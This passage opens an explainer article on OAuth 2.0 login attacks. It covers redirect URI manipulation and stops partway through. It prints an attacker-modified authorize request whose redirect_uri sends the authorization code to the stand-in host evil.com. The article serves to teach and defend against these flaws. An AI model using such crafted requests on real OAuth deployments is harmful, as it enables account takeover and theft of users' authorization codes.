How "Login with Google" Can Be Hacked — OAuth Attacks Explained

Every modern app has that familiar button: "Sign in with Google." Or GitHub. Or Microsoft. OAuth 2.0 powers these flows, handling authentication for billions of users. It is elegant, convenient, and — when misconfigured — a direct path to account takeover. Here are five real OAuth vulnerabilities that attackers exploit, drawn from actual penetration tests and published CVEs. 1. Redirect URI Manipulation The vulnerability: OAuth works by redirecting the user back to your application with an authorization code. The redirect_uri parameter tells the authorization server where to send that code. If the server does not strictly validate this parameter, an attacker can redirect the code to their own server. How it works: Legitimate request: GET /authorize? response_type=code &client_id=APP_ID &redirect_uri=https://app.example.com/callback &scope=email profile Attacker modifies redirect_uri: GET /authorize? response_type=code &client_id=APP_ID &redirect_uri=https://evil.com/steal &scope=email